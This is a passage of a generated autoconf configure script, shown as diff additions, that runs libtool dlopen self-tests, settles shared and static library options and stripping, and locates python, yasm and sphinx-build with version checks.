conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_dld_dld_link" >&5 +$as_echo "$ac_cv_lib_dld_dld_link" >&6; } +if test "x$ac_cv_lib_dld_dld_link" = xyes; then : + lt_cv_dlopen="dld_link" lt_cv_dlopen_libs="-ldld" +fi + + +fi + + +fi + + +fi + + +fi + + +fi + + ;; + esac + + if test "x$lt_cv_dlopen" != xno; then + enable_dlopen=yes + else + enable_dlopen=no + fi + + case $lt_cv_dlopen in + dlopen) + save_CPPFLAGS="$CPPFLAGS" + test "x$ac_cv_header_dlfcn_h" = xyes && CPPFLAGS="$CPPFLAGS -DHAVE_DLFCN_H" + + save_LDFLAGS="$LDFLAGS" + wl=$lt_prog_compiler_wl eval LDFLAGS=\"\$LDFLAGS $export_dynamic_flag_spec\" + + save_LIBS="$LIBS" + LIBS="$lt_cv_dlopen_libs $LIBS" + + { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether a program can dlopen itself" >&5 +$as_echo_n "checking whether a program can dlopen itself... " >&6; } +if ${lt_cv_dlopen_self+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test "$cross_compiling" = yes; then : + lt_cv_dlopen_self=cross +else + lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2 + lt_status=$lt_dlunknown + cat > conftest.$ac_ext <<_LT_EOF +#line $LINENO "configure" +#include "confdefs.h" + +#if HAVE_DLFCN_H +#include +#endif + +#include + +#ifdef RTLD_GLOBAL +# define LT_DLGLOBAL RTLD_GLOBAL +#else +# ifdef DL_GLOBAL +# define LT_DLGLOBAL DL_GLOBAL +# else +# define LT_DLGLOBAL 0 +# endif +#endif + +/* We may have to define LT_DLLAZY_OR_NOW in the command line if we + find out it does not work in some platform. */ +#ifndef LT_DLLAZY_OR_NOW +# ifdef RTLD_LAZY +# define LT_DLLAZY_OR_NOW RTLD_LAZY +# else +# ifdef DL_LAZY +# define LT_DLLAZY_OR_NOW DL_LAZY +# else +# ifdef RTLD_NOW +# define LT_DLLAZY_OR_NOW RTLD_NOW +# else +# ifdef DL_NOW +# define LT_DLLAZY_OR_NOW DL_NOW +# else +# define LT_DLLAZY_OR_NOW 0 +# endif +# endif +# endif +# endif +#endif + +/* When -fvisbility=hidden is used, assume the code has been annotated + correspondingly for the symbols needed. */ +#if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3)) +int fnord () __attribute__((visibility("default"))); +#endif + +int fnord () { return 42; } +int main () +{ + void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW); + int status = $lt_dlunknown; + + if (self) + { + if (dlsym (self,"fnord")) status = $lt_dlno_uscore; + else + { + if (dlsym( self,"_fnord")) status = $lt_dlneed_uscore; + else puts (dlerror ()); + } + /* dlclose (self); */ + } + else + puts (dlerror ()); + + return status; +} +_LT_EOF + if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5 + (eval $ac_link) 2>&5 + ac_status=$? + $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } && test -s conftest${ac_exeext} 2>/dev/null; then + (./conftest; exit; ) >&5 2>/dev/null + lt_status=$? + case x$lt_status in + x$lt_dlno_uscore) lt_cv_dlopen_self=yes ;; + x$lt_dlneed_uscore) lt_cv_dlopen_self=yes ;; + x$lt_dlunknown|x*) lt_cv_dlopen_self=no ;; + esac + else : + # compilation failed + lt_cv_dlopen_self=no + fi +fi +rm -fr conftest* + + +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_dlopen_self" >&5 +$as_echo "$lt_cv_dlopen_self" >&6; } + + if test "x$lt_cv_dlopen_self" = xyes; then + wl=$lt_prog_compiler_wl eval LDFLAGS=\"\$LDFLAGS $lt_prog_compiler_static\" + { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether a statically linked program can dlopen itself" >&5 +$as_echo_n "checking whether a statically linked program can dlopen itself... " >&6; } +if ${lt_cv_dlopen_self_static+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test "$cross_compiling" = yes; then : + lt_cv_dlopen_self_static=cross +else + lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2 + lt_status=$lt_dlunknown + cat > conftest.$ac_ext <<_LT_EOF +#line $LINENO "configure" +#include "confdefs.h" + +#if HAVE_DLFCN_H +#include +#endif + +#include + +#ifdef RTLD_GLOBAL +# define LT_DLGLOBAL RTLD_GLOBAL +#else +# ifdef DL_GLOBAL +# define LT_DLGLOBAL DL_GLOBAL +# else +# define LT_DLGLOBAL 0 +# endif +#endif + +/* We may have to define LT_DLLAZY_OR_NOW in the command line if we + find out it does not work in some platform. */ +#ifndef LT_DLLAZY_OR_NOW +# ifdef RTLD_LAZY +# define LT_DLLAZY_OR_NOW RTLD_LAZY +# else +# ifdef DL_LAZY +# define LT_DLLAZY_OR_NOW DL_LAZY +# else +# ifdef RTLD_NOW +# define LT_DLLAZY_OR_NOW RTLD_NOW +# else +# ifdef DL_NOW +# define LT_DLLAZY_OR_NOW DL_NOW +# else +# define LT_DLLAZY_OR_NOW 0 +# endif +# endif +# endif +# endif +#endif + +/* When -fvisbility=hidden is used, assume the code has been annotated + correspondingly for the symbols needed. */ +#if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3)) +int fnord () __attribute__((visibility("default"))); +#endif + +int fnord () { return 42; } +int main () +{ + void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW); + int status = $lt_dlunknown; + + if (self) + { + if (dlsym (self,"fnord")) status = $lt_dlno_uscore; + else + { + if (dlsym( self,"_fnord")) status = $lt_dlneed_uscore; + else puts (dlerror ()); + } + /* dlclose (self); */ + } + else + puts (dlerror ()); + + return status; +} +_LT_EOF + if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5 + (eval $ac_link) 2>&5 + ac_status=$? + $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } && test -s conftest${ac_exeext} 2>/dev/null; then + (./conftest; exit; ) >&5 2>/dev/null + lt_status=$? + case x$lt_status in + x$lt_dlno_uscore) lt_cv_dlopen_self_static=yes ;; + x$lt_dlneed_uscore) lt_cv_dlopen_self_static=yes ;; + x$lt_dlunknown|x*) lt_cv_dlopen_self_static=no ;; + esac + else : + # compilation failed + lt_cv_dlopen_self_static=no + fi +fi +rm -fr conftest* + + +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_dlopen_self_static" >&5 +$as_echo "$lt_cv_dlopen_self_static" >&6; } + fi + + CPPFLAGS="$save_CPPFLAGS" + LDFLAGS="$save_LDFLAGS" + LIBS="$save_LIBS" + ;; + esac + + case $lt_cv_dlopen_self in + yes|no) enable_dlopen_self=$lt_cv_dlopen_self ;; + *) enable_dlopen_self=unknown ;; + esac + + case $lt_cv_dlopen_self_static in + yes|no) enable_dlopen_self_static=$lt_cv_dlopen_self_static ;; + *) enable_dlopen_self_static=unknown ;; + esac +fi + + + + + + + + + + + + + + + + + +striplib= +old_striplib= +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether stripping libraries is possible" >&5 +$as_echo_n "checking whether stripping libraries is possible... " >&6; } +if test -n "$STRIP" && $STRIP -V 2>&1 | $GREP "GNU strip" >/dev/null; then + test -z "$old_striplib" && old_striplib="$STRIP --strip-debug" + test -z "$striplib" && striplib="$STRIP --strip-unneeded" + { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5 +$as_echo "yes" >&6; } +else +# FIXME - insert some real tests, host_os isn't really good enough + case $host_os in + darwin*) + if test -n "$STRIP" ; then + striplib="$STRIP -x" + old_striplib="$STRIP -S" + { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5 +$as_echo "yes" >&6; } + else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } + fi + ;; + *) + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } + ;; + esac +fi + + + + + + + + + + + + + # Report which library types will actually be built + { $as_echo "$as_me:${as_lineno-$LINENO}: checking if libtool supports shared libraries" >&5 +$as_echo_n "checking if libtool supports shared libraries... " >&6; } + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $can_build_shared" >&5 +$as_echo "$can_build_shared" >&6; } + + { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether to build shared libraries" >&5 +$as_echo_n "checking whether to build shared libraries... " >&6; } + test "$can_build_shared" = "no" && enable_shared=no + + # On AIX, shared libraries and static libraries use the same namespace, and + # are all built from PIC. + case $host_os in + aix3*) + test "$enable_shared" = yes && enable_static=no + if test -n "$RANLIB"; then + archive_cmds="$archive_cmds~\$RANLIB \$lib" + postinstall_cmds='$RANLIB $lib' + fi + ;; + + aix[4-9]*) + if test "$host_cpu" != ia64 && test "$aix_use_runtimelinking" = no ; then + test "$enable_shared" = yes && enable_static=no + fi + ;; + esac + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $enable_shared" >&5 +$as_echo "$enable_shared" >&6; } + + { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether to build static libraries" >&5 +$as_echo_n "checking whether to build static libraries... " >&6; } + # Make sure either enable_shared or enable_static is yes. + test "$enable_shared" = yes || enable_static=yes + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $enable_static" >&5 +$as_echo "$enable_static" >&6; } + + + + +fi +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + +CC="$lt_save_CC" + + + + + + + + + + + + + + + + ac_config_commands="$ac_config_commands libtool" + + + + +# Only expand once: + + +# Check whether --enable-shared was given. +if test "${enable_shared+set}" = set; then : + enableval=$enable_shared; p=${PACKAGE-default} + case $enableval in + yes) enable_shared=yes ;; + no) enable_shared=no ;; + *) + enable_shared=no + # Look at the argument we got. We use all the common list separators. + lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR," + for pkg in $enableval; do + IFS="$lt_save_ifs" + if test "X$pkg" = "X$p"; then + enable_shared=yes + fi + done + IFS="$lt_save_ifs" + ;; + esac +else + enable_shared=yes +fi + + + + + + +if test "x$CC" != xcc; then + { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether $CC and cc understand -c and -o together" >&5 +$as_echo_n "checking whether $CC and cc understand -c and -o together... " >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether cc understands -c and -o together" >&5 +$as_echo_n "checking whether cc understands -c and -o together... " >&6; } +fi +set dummy $CC; ac_cc=`$as_echo "$2" | + sed 's/[^a-zA-Z0-9_]/_/g;s/^[0-9]/_/'` +if eval \${ac_cv_prog_cc_${ac_cc}_c_o+:} false; then : + $as_echo_n "(cached) " >&6 +else + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +# Make sure it works both with $CC and with simple cc. +# We do the test twice because some compilers refuse to overwrite an +# existing .o file with -o, though they will create one. +ac_try='$CC -c conftest.$ac_ext -o conftest2.$ac_objext >&5' +rm -f conftest2.* +if { { case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +$as_echo "$ac_try_echo"; } >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } && + test -f conftest2.$ac_objext && { { case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +$as_echo "$ac_try_echo"; } >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; }; +then + eval ac_cv_prog_cc_${ac_cc}_c_o=yes + if test "x$CC" != xcc; then + # Test first that cc exists at all. + if { ac_try='cc -c conftest.$ac_ext >&5' + { { case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +$as_echo "$ac_try_echo"; } >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; }; }; then + ac_try='cc -c conftest.$ac_ext -o conftest2.$ac_objext >&5' + rm -f conftest2.* + if { { case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +$as_echo "$ac_try_echo"; } >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } && + test -f conftest2.$ac_objext && { { case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +$as_echo "$ac_try_echo"; } >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; }; + then + # cc works too. + : + else + # cc exists but doesn't like -o. + eval ac_cv_prog_cc_${ac_cc}_c_o=no + fi + fi + fi +else + eval ac_cv_prog_cc_${ac_cc}_c_o=no +fi +rm -f core conftest* + +fi +if eval test \$ac_cv_prog_cc_${ac_cc}_c_o = yes; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5 +$as_echo "yes" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } + +$as_echo "#define NO_MINUS_C_MINUS_O 1" >>confdefs.h + +fi + +# FIXME: we rely on the cache variable name because +# there is no other way. +set dummy $CC +am_cc=`echo $2 | sed 's/[^a-zA-Z0-9_]/_/g;s/^[0-9]/_/'` +eval am_t=\$ac_cv_prog_cc_${am_cc}_c_o +if test "$am_t" != yes; then + # Losing compiler, so override with the script. + # FIXME: It is wrong to rewrite CC. + # But if we don't then we get into trouble of one sort or another. + # A longer-term fix would be to have automake use am__CC in this case, + # and then we could set am__CC="\$(top_srcdir)/compile \$(CC)" + CC="$am_aux_dir/compile $CC" +fi + + + +# If this is a gnu compiler, pass -Wall +if test "$ac_cv_c_compiler_gnu" = "yes"; then + CFLAGS="$CFLAGS -Wall" +fi + +# Look for python + + + + + + + + + + + + if test -z "$PYTHON"; then : + + { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether python executable path has been provided" >&5 +$as_echo_n "checking whether python executable path has been provided... " >&6; } + +# Check whether --with-python was given. +if test "${with_python+set}" = set; then : + withval=$with_python; + if test "$withval" != yes -a "$withval" != no; then : + + PYTHON="$withval" + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $PYTHON" >&5 +$as_echo "$PYTHON" >&6; } + +else + + PYTHON="" + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } + if test "$withval" != no; then : + + # Extract the first word of "python", so it can be a program name with args. +set dummy python; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_path_PYTHON+:} false; then : + $as_echo_n "(cached) " >&6 +else + case $PYTHON in + [\\/]* | ?:[\\/]*) + ac_cv_path_PYTHON="$PYTHON" # Let the user override the test with a path. + ;; + *) + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_path_PYTHON="$as_dir/$ac_word$ac_exec_ext" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + + ;; +esac +fi +PYTHON=$ac_cv_path_PYTHON +if test -n "$PYTHON"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $PYTHON" >&5 +$as_echo "$PYTHON" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + + +fi + +fi + +else + + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } + # Extract the first word of "python", so it can be a program name with args. +set dummy python; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_path_PYTHON+:} false; then : + $as_echo_n "(cached) " >&6 +else + case $PYTHON in + [\\/]* | ?:[\\/]*) + ac_cv_path_PYTHON="$PYTHON" # Let the user override the test with a path. + ;; + *) + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_path_PYTHON="$as_dir/$ac_word$ac_exec_ext" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + + ;; +esac +fi +PYTHON=$ac_cv_path_PYTHON +if test -n "$PYTHON"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $PYTHON" >&5 +$as_echo "$PYTHON" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + + +fi + + +fi + + + + + + + +if test "x$PYTHON" = "x"; then + as_fn_error $? "Python not found. Use --with-python to specify path to python binary " "$LINENO" 5 +fi + +# Yasm (>= 1.2.0) for testing + + + + + + + + + + + if test -z "$YASM"; then : + + { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether yasm executable path has been provided" >&5 +$as_echo_n "checking whether yasm executable path has been provided... " >&6; } + +# Check whether --with-yasm was given. +if test "${with_yasm+set}" = set; then : + withval=$with_yasm; + if test "$withval" != yes -a "$withval" != no; then : + + YASM="$withval" + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $YASM" >&5 +$as_echo "$YASM" >&6; } + +else + + YASM="" + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } + if test "$withval" != no; then : + + # Extract the first word of "yasm", so it can be a program name with args. +set dummy yasm; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_path_YASM+:} false; then : + $as_echo_n "(cached) " >&6 +else + case $YASM in + [\\/]* | ?:[\\/]*) + ac_cv_path_YASM="$YASM" # Let the user override the test with a path. + ;; + *) + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_path_YASM="$as_dir/$ac_word$ac_exec_ext" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + + ;; +esac +fi +YASM=$ac_cv_path_YASM +if test -n "$YASM"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $YASM" >&5 +$as_echo "$YASM" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + + +fi + +fi + +else + + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } + # Extract the first word of "yasm", so it can be a program name with args. +set dummy yasm; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_path_YASM+:} false; then : + $as_echo_n "(cached) " >&6 +else + case $YASM in + [\\/]* | ?:[\\/]*) + ac_cv_path_YASM="$YASM" # Let the user override the test with a path. + ;; + *) + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_path_YASM="$as_dir/$ac_word$ac_exec_ext" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + + ;; +esac +fi +YASM=$ac_cv_path_YASM +if test -n "$YASM"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $YASM" >&5 +$as_echo "$YASM" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + + +fi + + +fi + + + + + + + + + + + + if test -n "$YASM"; then : + + ax_yasm_version="1.2.0" + + { $as_echo "$as_me:${as_lineno-$LINENO}: checking for yasm version" >&5 +$as_echo_n "checking for yasm version... " >&6; } + + yasm_version=`$YASM --version 2>&1 | $GREP "^yasm " | $SED -e 's/^.* \([0-9]*\.[0-9]*\.[0-9]*\)/\1/'` + + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $yasm_version" >&5 +$as_echo "$yasm_version" >&6; } + + YASM_VERSION=$yasm_version + + + + + + # Used to indicate true or false condition + ax_compare_version=false + + # Convert the two version strings to be compared into a format that + # allows a simple string comparison. The end result is that a version + # string of the form 1.12.5-r617 will be converted to the form + # 0001001200050617. In other words, each number is zero padded to four + # digits, and non digits are removed. + + ax_compare_version_A=`echo "$ax_yasm_version" | sed -e 's/\([0-9]*\)/Z\1Z/g' \ + -e 's/Z\([0-9]\)Z/Z0\1Z/g' \ + -e 's/Z\([0-9][0-9]\)Z/Z0\1Z/g' \ + -e 's/Z\([0-9][0-9][0-9]\)Z/Z0\1Z/g' \ + -e 's/[^0-9]//g'` + + + ax_compare_version_B=`echo "$yasm_version" | sed -e 's/\([0-9]*\)/Z\1Z/g' \ + -e 's/Z\([0-9]\)Z/Z0\1Z/g' \ + -e 's/Z\([0-9][0-9]\)Z/Z0\1Z/g' \ + -e 's/Z\([0-9][0-9][0-9]\)Z/Z0\1Z/g' \ + -e 's/[^0-9]//g'` + + + ax_compare_version=`echo "x$ax_compare_version_A +x$ax_compare_version_B" | sed 's/^ *//' | sort | sed "s/x${ax_compare_version_A}/true/;s/x${ax_compare_version_B}/false/;1q"` + + + + if test "$ax_compare_version" = "true" ; then + + : + ac_have_yasm_version=1 + + else + : + + + fi + + +else + + { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: could not find the yasm" >&5 +$as_echo "$as_me: WARNING: could not find the yasm" >&2;} + + +fi + + if test -n "$ac_have_yasm_version"; then + HAVE_YASM_TRUE= + HAVE_YASM_FALSE='#' +else + HAVE_YASM_TRUE='#' + HAVE_YASM_FALSE= +fi + + +# Sphinx (>= 1.1.3) for documentation + + + + + + + + + + + if test -z "$SPHINX_BUILD"; then : + + { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether sphinx-build executable path has been provided" >&5 +$as_echo_n "checking whether sphinx-build executable path has been provided... " >&6; } + +# Check whether --with-sphinx-build was given. +if test "${with_sphinx_build+set}" = set; then : + withval=$with_sphinx_build; + if test "$withval" != yes -a "$withval" != no; then : + + SPHINX_BUILD="$withval" + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $SPHINX_BUILD" >&5 +$as_echo "$SPHINX_BUILD" >&6; } + +else + + SPHINX_BUILD="" + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } + if test "$withval" != no; then : + + # Extract the first word of "sphinx-build", so it can be a program name with args. +set dummy sphinx-build; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_path_SPHINX_BUILD+:} false; then : + $as_echo_n "(cached) " >&6 +else + case $SPHINX_BUILD in + [\\/]* | ?:[\\/]*) + ac_cv_path_SPHINX_BUILD="$SPHINX_BUILD" # Let the user override the test with a path. + ;; + *) + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_path_SPHINX_BUILD="$as_dir/$ac_word$ac_exec_ext" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + + ;; +esac +fi +SPHINX_BUILD=$ac_cv_path_SPHINX_BUILD +if test -n "$SPHINX_BUILD"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $SPHINX_BUILD" >&5 +$as_echo "$SPHINX_BUILD" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + + +fi + +fi + +else + + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } + # Extract the first word of "sphinx-build", so it can be a program name with args. +set dummy sphinx-build; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_path_SPHINX_BUILD+:} false; then : + $as_echo_n "(cached) " >&6 +else + case $SPHINX_BUILD in + [\\/]* | ?:[\\/]*) + ac_cv_path_SPHINX_BUILD="$SPHINX_BUILD" # Let the user override the test with a path. + ;; + *) + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_path_SPHINX_BUILD="$as_dir/$ac_word$ac_exec_ext" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + + ;; +esac +fi +SPHINX_BUILD=$ac_cv_path_SPHINX_BUILD +if test -n "$SPHINX_BUILD"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $SPHINX_BUILD" >&5 +$as_echo "$SPHINX_BUILD" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + + +fi + + +fi + + + + + + + + + + + + if test -n "$SPHINX_BUILD"; then : + + ax_sphinx_version="1.1.3" + + { $as_echo "$as_me:${as_lineno-$LINENO}: checking for sphinx version" >&5 +$as_echo_n "checking for sphinx version... " >&6; } + + sphinx_version=`$SPHINX_BUILD -h 2>&1 | $GREP "^Sphinx v" | $SED -e 's/^.* v\([0-9]*\.[0-9]*\.[0-9]*\)/\1/'` + + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $sphinx_version" >&5 +$as_echo "$sphinx_version" >&6; } + + SPHINX_VERSION=$sphinx_version + + + + + + # Used to indicate true or false condition + ax_compare_version=false + + # Convert the two version strings to be compared into a format that + # allows a simple string comparison. The end result is that a version + # string of the form 1.12.5-r617 will be converted to the form + # 0001001200050617. In other words, each number is zero padded to four + # digits, and non digits are removed. + + ax_compare_version_A=`echo "$ax_sphinx_version" | sed -e 's/\([0-9]*\)/Z\1Z/g' \ + -e 's/Z\([0-9]\)Z/Z0\1Z/g' \ + -e 's/Z\([0-9][0-9]\)Z/Z0\1Z/g' \ + -e 's/Z\([0-9][0-9][0-9]\)Z/Z0\1Z/g' \ + -e 's/[^0-9]//g'` + + + ax_compare_version_B=`echo "$sphinx_version" | sed -e 's/\([0-9]*\)/Z\1Z/g' \ + -e 's/Z\([0-9]\)Z/Z0\1Z/g' \ + -e 's/Z\([0-9][0-9]\)Z/Z0\1Z/g' \ + -e 's/Z\([0-9][0-9][0-9]\)Z/Z0\1Z/g' \ + -e 's/[^0-9]//g'` + + + ax_compare_version=`echo "x$ax_compare_version_A +x$ax_compare_version_B" | sed 's/^ *//' | sort | sed "s/x${ax_compare_version_A}/true/;s/x${ax_compare_version_B}/false/;1q"` + + + + if test "$ax_compare_version" = "true" ; then + + : + ac_have_sphinx_version=1 + + else + : + + + fi + + +else + + { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: could not find the sphinx documentation tool" >&5 +$as_echo "$as_me: WARNING: could not find the sphinx documentation tool" >&2;} + + +fi + + if test -n "$ac_have_sphinx_version"; then + HAVE_SPHINX_DOC_TRUE= + HAVE_SPHINX_DOC_FALSE='#' +else + HAVE_SPHINX_DOC_TRUE='#' + HAVE_SPHINX_DOC_FALSE= +fi + + +for ac_header in assert.h stdio.h +do : + 